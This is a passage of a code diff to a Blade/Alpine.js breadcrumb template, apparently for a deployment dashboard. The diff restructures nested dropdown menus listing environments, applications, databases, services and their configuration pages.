@ -80,17 +81,18 @@ class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolg
</svg>
</button>
<!-- Environment Dropdown Container -->
<!-- Environment Dropdown -->
<div x-show="envOpen" @click.outside="close()" x-transition:enter="transition ease-out duration-200"
x-transition:enter-start="opacity-0 scale-95" x-transition:enter-end="opacity-100 scale-100"
x-transition:leave="transition ease-in duration-75" x-transition:leave-start="opacity-100 scale-100"
x-transition:leave-end="opacity-0 scale-95" class="absolute z-20 top-full mt-1 left-0 sm:left-auto max-w-[calc(100vw-1rem)]" x-init="$nextTick(() => { const rect = $el.getBoundingClientRect(); if (rect.right > window.innerWidth) { $el.style.left = 'auto'; $el.style.right = '0'; } })">
x-transition:leave-end="opacity-0 scale-95"
class="absolute z-20 top-full mt-1 left-0 sm:left-auto max-w-[calc(100vw-1rem)]"
x-init="$nextTick(() => { const rect = $el.getBoundingClientRect(); if (rect.right > window.innerWidth) { $el.style.left = 'auto'; $el.style.right = '0'; } })">
<!-- Environment List -->
<div
class="relative w-48 bg-white dark:bg-coolgray-100 rounded-md shadow-lg py-1 border border-neutral-200 dark:border-coolgray-200 max-h-96 overflow-y-auto scrollbar">
@foreach ($environments as $environment)
@php
// Use pre-loaded relations instead of databases() method to avoid N+1 queries
$envDatabases = collect()
->merge($environment->postgresqls ?? collect())
->merge($environment->redis ?? collect())
@ -101,26 +103,17 @@ class="relative w-48 bg-white dark:bg-coolgray-100 rounded-md shadow-lg py-1 bor
->merge($environment->dragonflies ?? collect())
->merge($environment->clickhouses ?? collect());
$envResources = collect()
->merge(
$environment->applications->map(
fn($app) => ['type' => 'application', 'resource' => $app],
),
)
->merge(
$envDatabases->map(fn($db) => ['type' => 'database', 'resource' => $db]),
)
->merge(
$environment->services->map(
fn($svc) => ['type' => 'service', 'resource' => $svc],
),
);
->merge($environment->applications->map(fn($app) => ['type' => 'application', 'resource' => $app]))
->merge($envDatabases->map(fn($db) => ['type' => 'database', 'resource' => $db]))
->merge($environment->services->map(fn($svc) => ['type' => 'service', 'resource' => $svc]))
->sortBy(fn($item) => strtolower($item['resource']->name));
@endphp
<div @mouseenter="openEnv('{{ $environment->uuid }}'); envPositions['{{ $environment->uuid }}'] = $el.offsetTop - ($el.closest('.overflow-y-auto')?.scrollTop || 0)"
@mouseleave="closeEnv()">
<a href="{{ route('project.resource.index', [
'environment_uuid' => $environment->uuid,
'project_uuid' => $currentProjectUuid,
]) }}" {{ wireNavigate() }}
'environment_uuid' => $environment->uuid,
'project_uuid' => $currentProjectUuid,
]) }}" {{ wireNavigate() }}
class="flex items-center justify-between gap-2 px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200 {{ $environment->uuid === $currentEnvironmentUuid ? 'dark:text-warning font-semibold' : '' }}"
title="{{ $environment->name }}">
<span class="truncate">{{ $environment->name }}</span>
@ -150,31 +143,29 @@ class="flex items-center gap-2 px-4 py-2 text-sm hover:bg-neutral-100 dark:hover
<!-- Resources Sub-dropdown (2nd level) -->
@foreach ($environments as $environment)
@php
$envDatabases = collect()
->merge($environment->postgresqls ?? collect())
->merge($environment->redis ?? collect())
->merge($environment->mongodbs ?? collect())
->merge($environment->mysqls ?? collect())
->merge($environment->mariadbs ?? collect())
->merge($environment->keydbs ?? collect())
->merge($environment->dragonflies ?? collect())
->merge($environment->clickhouses ?? collect());
$envResources = collect()
->merge(
$environment->applications->map(
fn($app) => ['type' => 'application', 'resource' => $app],
),
)
->merge(
$environment
->databases()
->map(fn($db) => ['type' => 'database', 'resource' => $db]),
)
->merge(
$environment->services->map(fn($svc) => ['type' => 'service', 'resource' => $svc]),
);
->merge($environment->applications->map(fn($app) => ['type' => 'application', 'resource' => $app]))
->merge($envDatabases->map(fn($db) => ['type' => 'database', 'resource' => $db]))
->merge($environment->services->map(fn($svc) => ['type' => 'service', 'resource' => $svc]));
@endphp
@if ($envResources->count() > 0)
<div x-show="activeEnv === '{{ $environment->uuid }}'" x-cloak
x-transition:enter="transition ease-out duration-150"
x-transition:enter-start="opacity-0" x-transition:enter-end="opacity-100"
@mouseenter="openEnv('{{ $environment->uuid }}')"
@mouseleave="closeEnv()"
@mouseenter="openEnv('{{ $environment->uuid }}')" @mouseleave="closeEnv()"
:style="'position: absolute; left: 100%; top: ' + (envPositions['{{ $environment->uuid }}'] || 0) + 'px; z-index: 30;'"
class="flex flex-col sm:flex-row items-start pl-1">
<div
class="relative w-48 bg-white dark:bg-coolgray-100 rounded-md shadow-lg py-1 border border-neutral-200 dark:border-coolgray-200 max-h-96 overflow-y-auto scrollbar">
class="relative w-56 bg-white dark:bg-coolgray-100 rounded-md shadow-lg py-1 border border-neutral-200 dark:border-coolgray-200 max-h-96 overflow-y-auto scrollbar">
@foreach ($envResources as $envResource)
@php
$resType = $envResource['type'];
@ -197,226 +188,14 @@ class="relative w-48 bg-white dark:bg-coolgray-100 rounded-md shadow-lg py-1 bor
]),
};
$isCurrentResource = $res->uuid === $currentResourceUuid;
// Use loaded relation count if available, otherwise check additional_servers_count attribute
$resHasMultipleServers = $resType === 'application' && method_exists($res, 'additional_servers') &&
($res->relationLoaded('additional_servers') ? $res->additional_servers->count() > 0 : ($res->additional_servers_count ?? 0) > 0);
$resServerName = $resHasMultipleServers ? null : data_get($res, 'destination.server.name');
@endphp
<div @mouseenter="openRes('{{ $environment->uuid }}-{{ $res->uuid }}'); resPositions['{{ $environment->uuid }}-{{ $res->uuid }}'] = $el.offsetTop - ($el.closest('.overflow-y-auto')?.scrollTop || 0)"
@mouseleave="closeRes()">
<a href="{{ $resRoute }}" {{ wireNavigate() }}
class="flex items-center justify-between gap-2 px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200 {{ $isCurrentResource ? 'dark:text-warning font-semibold' : '' }}"
title="{{ $res->name }}{{ $resServerName ? ' ('.$resServerName.')' : '' }}">
<span class="truncate">{{ $res->name }}@if($resServerName) <span class="text-xs text-neutral-400">({{ $resServerName }})</span>@endif</span>
<svg class="w-3 h-3 shrink-0" fill="none" stroke="currentColor"
viewBox="0 0 24 24">
<path stroke-linecap="round" stroke-linejoin="round"
stroke-width="4" d="M9 5l7 7-7 7"></path>
</svg>
</a>
</div>
<a href="{{ $resRoute }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200 {{ $isCurrentResource ? 'dark:text-warning font-semibold' : '' }}"
title="{{ $res->name }}">
{{ $res->name }}
</a>
@endforeach
</div>
<!-- Main Menu Sub-dropdown (3rd level) -->
@foreach ($envResources as $envResource)
@php
$resType = $envResource['type'];
$res = $envResource['resource'];
$resParams = [
'project_uuid' => $currentProjectUuid,
'environment_uuid' => $environment->uuid,
];
if ($resType === 'application') {
$resParams['application_uuid'] = $res->uuid;
} elseif ($resType === 'service') {
$resParams['service_uuid'] = $res->uuid;
} else {
$resParams['database_uuid'] = $res->uuid;
}
$resKey = $environment->uuid . '-' . $res->uuid;
@endphp
<div x-show="activeRes === '{{ $resKey }}'" x-cloak
x-transition:enter="transition ease-out duration-150"
x-transition:enter-start="opacity-0" x-transition:enter-end="opacity-100"
@mouseenter="openRes('{{ $resKey }}')"
@mouseleave="closeRes()"
:style="'position: absolute; left: 100%; top: ' + (resPositions['{{ $resKey }}'] || 0) + 'px; z-index: 40;'"
class="flex flex-col sm:flex-row items-start pl-1">
<!-- Main Menu List -->
<div
class="relative w-48 bg-white dark:bg-coolgray-100 rounded-md shadow-lg py-1 border border-neutral-200 dark:border-coolgray-200">
@if ($resType === 'application')
<div @mouseenter="openMenu('{{ $resKey }}-config'); menuPositions['{{ $resKey }}-config'] = $el.offsetTop - ($el.closest('.overflow-y-auto')?.scrollTop || 0)"
@mouseleave="closeMenu()">
<a href="{{ route('project.application.configuration', $resParams) }}" {{ wireNavigate() }}
class="flex items-center justify-between gap-2 px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">
<span>Configuration</span>
<svg class="w-3 h-3 shrink-0" fill="none"
stroke="currentColor" viewBox="0 0 24 24">
<path stroke-linecap="round" stroke-linejoin="round"
stroke-width="4" d="M9 5l7 7-7 7"></path>
</svg>
</a>
</div>
<a href="{{ route('project.application.deployment.index', $resParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">Deployments</a>
<a href="{{ route('project.application.logs', $resParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">Logs</a>
@can('canAccessTerminal')
<a href="{{ route('project.application.command', $resParams) }}"
class="block px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">Terminal</a>
@endcan
@elseif ($resType === 'service')
<div @mouseenter="openMenu('{{ $resKey }}-config'); menuPositions['{{ $resKey }}-config'] = $el.offsetTop - ($el.closest('.overflow-y-auto')?.scrollTop || 0)"
@mouseleave="closeMenu()">
<a href="{{ route('project.service.configuration', $resParams) }}" {{ wireNavigate() }}
class="flex items-center justify-between gap-2 px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">
<span>Configuration</span>
<svg class="w-3 h-3 shrink-0" fill="none"
stroke="currentColor" viewBox="0 0 24 24">
<path stroke-linecap="round" stroke-linejoin="round"
stroke-width="4" d="M9 5l7 7-7 7"></path>
</svg>
</a>
</div>
<a href="{{ route('project.service.logs', $resParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">Logs</a>
@can('canAccessTerminal')
<a href="{{ route('project.service.command', $resParams) }}"
class="block px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">Terminal</a>
@endcan
@else
<div @mouseenter="openMenu('{{ $resKey }}-config'); menuPositions['{{ $resKey }}-config'] = $el.offsetTop - ($el.closest('.overflow-y-auto')?.scrollTop || 0)"
@mouseleave="closeMenu()">
<a href="{{ route('project.database.configuration', $resParams) }}" {{ wireNavigate() }}
class="flex items-center justify-between gap-2 px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">
<span>Configuration</span>
<svg class="w-3 h-3 shrink-0" fill="none"
stroke="currentColor" viewBox="0 0 24 24">
<path stroke-linecap="round" stroke-linejoin="round"
stroke-width="4" d="M9 5l7 7-7 7"></path>
</svg>
</a>
</div>
<a href="{{ route('project.database.logs', $resParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">Logs</a>
@can('canAccessTerminal')
<a href="{{ route('project.database.command', $resParams) }}"
class="block px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">Terminal</a>
@endcan
@if (
$res->getMorphClass() === 'App\Models\StandalonePostgresql' ||
$res->getMorphClass() === 'App\Models\StandaloneMongodb' ||
$res->getMorphClass() === 'App\Models\StandaloneMysql' ||
$res->getMorphClass() === 'App\Models\StandaloneMariadb')
<a href="{{ route('project.database.backup.index', $resParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">Backups</a>
@endif
@endif
</div>
<!-- Configuration Sub-menu (4th level) -->
<div x-show="activeMenuEnv === '{{ $resKey }}-config'" x-cloak
x-transition:enter="transition ease-out duration-150"
x-transition:enter-start="opacity-0" x-transition:enter-end="opacity-100"
@mouseenter="openMenu('{{ $resKey }}-config')"
@mouseleave="closeMenu()"
:style="'position: absolute; left: 100%; top: ' + (menuPositions['{{ $resKey }}-config'] || 0) + 'px; z-index: 50;'"
class="pl-1">
<div class="w-52 bg-white dark:bg-coolgray-100 rounded-md shadow-lg py-1 border border-neutral-200 dark:border-coolgray-200 max-h-96 overflow-y-auto scrollbar">
@if ($resType === 'application')
<a href="{{ route('project.application.configuration', $resParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">General</a>
<a href="{{ route('project.application.environment-variables', $resParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Environment
Variables</a>
<a href="{{ route('project.application.persistent-storage', $resParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Persistent
Storage</a>
<a href="{{ route('project.application.source', $resParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Source</a>
<a href="{{ route('project.application.servers', $resParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Servers</a>
<a href="{{ route('project.application.scheduled-tasks.show', $resParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Scheduled
Tasks</a>
<a href="{{ route('project.application.webhooks', $resParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Webhooks</a>
<a href="{{ route('project.application.preview-deployments', $resParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Preview
Deployments</a>
<a href="{{ route('project.application.healthcheck', $resParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Healthcheck</a>
<a href="{{ route('project.application.rollback', $resParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Rollback</a>
<a href="{{ route('project.application.resource-limits', $resParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Resource
Limits</a>
<a href="{{ route('project.application.resource-operations', $resParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Resource
Operations</a>
<a href="{{ route('project.application.metrics', $resParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Metrics</a>
<a href="{{ route('project.application.tags', $resParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Tags</a>
<a href="{{ route('project.application.advanced', $resParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Advanced</a>
<a href="{{ route('project.application.danger', $resParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200 text-red-500">Danger
Zone</a>
@elseif ($resType === 'service')
<a href="{{ route('project.service.configuration', $resParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">General</a>
<a href="{{ route('project.service.environment-variables', $resParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Environment
Variables</a>
<a href="{{ route('project.service.storages', $resParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Storages</a>
<a href="{{ route('project.service.scheduled-tasks.show', $resParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Scheduled
Tasks</a>
<a href="{{ route('project.service.webhooks', $resParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Webhooks</a>
<a href="{{ route('project.service.resource-operations', $resParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Resource
Operations</a>
<a href="{{ route('project.service.tags', $resParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Tags</a>
<a href="{{ route('project.service.danger', $resParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200 text-red-500">Danger
Zone</a>
@else
<a href="{{ route('project.database.configuration', $resParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">General</a>
<a href="{{ route('project.database.environment-variables', $resParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Environment
Variables</a>
<a href="{{ route('project.database.servers', $resParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Servers</a>
<a href="{{ route('project.database.persistent-storage', $resParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Persistent
Storage</a>
<a href="{{ route('project.database.webhooks', $resParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Webhooks</a>
<a href="{{ route('project.database.resource-limits', $resParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Resource
Limits</a>
<a href="{{ route('project.database.resource-operations', $resParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Resource
Operations</a>
<a href="{{ route('project.database.metrics', $resParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Metrics</a>
<a href="{{ route('project.database.tags', $resParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Tags</a>
<a href="{{ route('project.database.danger', $resParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200 text-red-500">Danger
Zone</a>
@endif
</div>
</div>
</div>
@endforeach
</div>
@endif
@endforeach
@ -431,7 +210,6 @@ class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolg
$isApplication = $resourceType === 'App\Models\Application';
$isService = $resourceType === 'App\Models\Service';
$isDatabase = str_contains($resourceType, 'Database') || str_contains($resourceType, 'Standalone');
// Use loaded relation count if available, otherwise check additional_servers_count attribute
$hasMultipleServers = $isApplication && method_exists($resource, 'additional_servers') &&
($resource->relationLoaded('additional_servers') ? $resource->additional_servers->count() > 0 : ($resource->additional_servers_count ?? 0) > 0);
$serverName = $hasMultipleServers ? null : data_get($resource, 'destination.server.name');
@ -447,221 +225,16 @@ class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolg
$routeParams['database_uuid'] = $resourceUuid;
}
@endphp
<li class="inline-flex items-center" x-data="{ resourceOpen: false, activeMenu: null, menuPosition: 0, closeTimeout: null, menuTimeout: null, toggle() { this.resourceOpen = !this.resourceOpen; if (!this.resourceOpen) { this.activeMenu = null; } }, open() { clearTimeout(this.closeTimeout); this.resourceOpen = true }, close() { this.closeTimeout = setTimeout(() => { this.resourceOpen = false; this.activeMenu = null; }, 100) }, openMenu(id) { clearTimeout(this.closeTimeout); clearTimeout(this.menuTimeout); this.activeMenu = id }, closeMenu() { this.menuTimeout = setTimeout(() => { this.activeMenu = null; }, 100) } }">
<div class="flex items-center relative" @mouseenter="open()"
@mouseleave="close()">
<a class="text-xs truncate lg:text-sm hover:text-warning" {{ wireNavigate() }}
href="{{ $isApplication
? route('project.application.configuration', $routeParams)
: ($isService
? route('project.service.configuration', $routeParams)
: route('project.database.configuration', $routeParams)) }}"
title="{{ data_get($resource, 'name') }}{{ $serverName ? ' ('.$serverName.')' : '' }}">
{{ data_get($resource, 'name') }}@if($serverName) <span class="text-xs text-neutral-400">({{ $serverName }})</span>@endif
</a>
<button type="button" @click.stop="toggle()" class="px-1 text-warning">
<svg class="w-3 h-3 transition-transform" :class="{ 'rotate-down': resourceOpen }" fill="none"
stroke="currentColor" viewBox="0 0 24 24">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="4" d="M9 5l7 7-7 7">
</path>
</svg>
</button>
<!-- Resource Dropdown Container -->
<div x-show="resourceOpen" @click.outside="close()" x-transition:enter="transition ease-out duration-200"
x-transition:enter-start="opacity-0 scale-95" x-transition:enter-end="opacity-100 scale-100"
x-transition:leave="transition ease-in duration-75"
x-transition:leave-start="opacity-100 scale-100" x-transition:leave-end="opacity-0 scale-95"
class="absolute z-20 top-full mt-1 left-0 sm:left-auto max-w-[calc(100vw-1rem)]" x-init="$nextTick(() => { const rect = $el.getBoundingClientRect(); if (rect.right > window.innerWidth) { $el.style.left = 'auto'; $el.style.right = '0'; } })">
<!-- Main Menu List -->
<div
class="relative w-48 bg-white dark:bg-coolgray-100 rounded-md shadow-lg py-1 border border-neutral-200 dark:border-coolgray-200">
@if ($isApplication)
<!-- Application Main Menus -->
<div @mouseenter="openMenu('config'); menuPosition = $el.offsetTop" @mouseleave="closeMenu()">
<a href="{{ route('project.application.configuration', $routeParams) }}" {{ wireNavigate() }}
class="flex items-center justify-between gap-2 px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">
<span>Configuration</span>
<svg class="w-3 h-3 shrink-0" fill="none" stroke="currentColor"
viewBox="0 0 24 24">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="4"
d="M9 5l7 7-7 7"></path>
</svg>
</a>
</div>
<a href="{{ route('project.application.deployment.index', $routeParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">
Deployments
</a>
<a href="{{ route('project.application.logs', $routeParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">
Logs
</a>
@can('canAccessTerminal')
<a href="{{ route('project.application.command', $routeParams) }}"
class="block px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">
Terminal
</a>
@endcan
@elseif ($isService)
<!-- Service Main Menus -->
<div @mouseenter="openMenu('config'); menuPosition = $el.offsetTop" @mouseleave="closeMenu()">
<a href="{{ route('project.service.configuration', $routeParams) }}" {{ wireNavigate() }}
class="flex items-center justify-between gap-2 px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">
<span>Configuration</span>
<svg class="w-4 h-4 shrink-0" fill="none" stroke="currentColor"
viewBox="0 0 24 24">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2"
d="M9 5l7 7-7 7"></path>
</svg>
</a>
</div>
<a href="{{ route('project.service.logs', $routeParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">
Logs
</a>
@can('canAccessTerminal')
<a href="{{ route('project.service.command', $routeParams) }}"
class="block px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">
Terminal
</a>
@endcan
@else
<!-- Database Main Menus -->
<div @mouseenter="openMenu('config'); menuPosition = $el.offsetTop" @mouseleave="closeMenu()">
<a href="{{ route('project.database.configuration', $routeParams) }}" {{ wireNavigate() }}
class="flex items-center justify-between gap-2 px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">
<span>Configuration</span>
<svg class="w-4 h-4 shrink-0" fill="none" stroke="currentColor"
viewBox="0 0 24 24">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2"
d="M9 5l7 7-7 7"></path>
</svg>
</a>
</div>
<a href="{{ route('project.database.logs', $routeParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">
Logs
</a>
@can('canAccessTerminal')
<a href="{{ route('project.database.command', $routeParams) }}"
class="block px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">
Terminal
</a>
@endcan
@if (
$resourceType === 'App\Models\StandalonePostgresql' ||
$resourceType === 'App\Models\StandaloneMongodb' ||
$resourceType === 'App\Models\StandaloneMysql' ||
$resourceType === 'App\Models\StandaloneMariadb')
<a href="{{ route('project.database.backup.index', $routeParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">
Backups
</a>
@endif
@endif
</div>
<!-- Configuration Sub-menu -->
<div x-show="activeMenu === 'config'" x-cloak x-transition:enter="transition ease-out duration-150"
x-transition:enter-start="opacity-0" x-transition:enter-end="opacity-100"
@mouseenter="openMenu('config')"
@mouseleave="closeMenu()"
:style="'position: absolute; left: 100%; top: ' + menuPosition + 'px; z-index: 50;'"
class="pl-1">
<div class="w-52 bg-white dark:bg-coolgray-100 rounded-md shadow-lg py-1 border border-neutral-200 dark:border-coolgray-200 max-h-96 overflow-y-auto scrollbar">
@if ($isApplication)
<a href="{{ route('project.application.configuration', $routeParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">General</a>
<a href="{{ route('project.application.environment-variables', $routeParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Environment
Variables</a>
<a href="{{ route('project.application.persistent-storage', $routeParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Persistent
Storage</a>
<a href="{{ route('project.application.source', $routeParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Source</a>
<a href="{{ route('project.application.servers', $routeParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Servers</a>
<a href="{{ route('project.application.scheduled-tasks.show', $routeParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Scheduled
Tasks</a>
<a href="{{ route('project.application.webhooks', $routeParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Webhooks</a>
<a href="{{ route('project.application.preview-deployments', $routeParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Preview
Deployments</a>
<a href="{{ route('project.application.healthcheck', $routeParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Healthcheck</a>
<a href="{{ route('project.application.rollback', $routeParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Rollback</a>
<a href="{{ route('project.application.resource-limits', $routeParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Resource
Limits</a>
<a href="{{ route('project.application.resource-operations', $routeParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Resource
Operations</a>
<a href="{{ route('project.application.metrics', $routeParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Metrics</a>
<a href="{{ route('project.application.tags', $routeParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Tags</a>
<a href="{{ route('project.application.advanced', $routeParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Advanced</a>
<a href="{{ route('project.application.danger', $routeParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200 text-red-500">Danger
Zone</a>
@elseif ($isService)
<a href="{{ route('project.service.configuration', $routeParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">General</a>
<a href="{{ route('project.service.environment-variables', $routeParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Environment
Variables</a>
<a href="{{ route('project.service.storages', $routeParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Storages</a>
<a href="{{ route('project.service.scheduled-tasks.show', $routeParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Scheduled
Tasks</a>
<a href="{{ route('project.service.webhooks', $routeParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Webhooks</a>
<a href="{{ route('project.service.resource-operations', $routeParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Resource
Operations</a>
<a href="{{ route('project.service.tags', $routeParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Tags</a>
<a href="{{ route('project.service.danger', $routeParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200 text-red-500">Danger
Zone</a>
@else
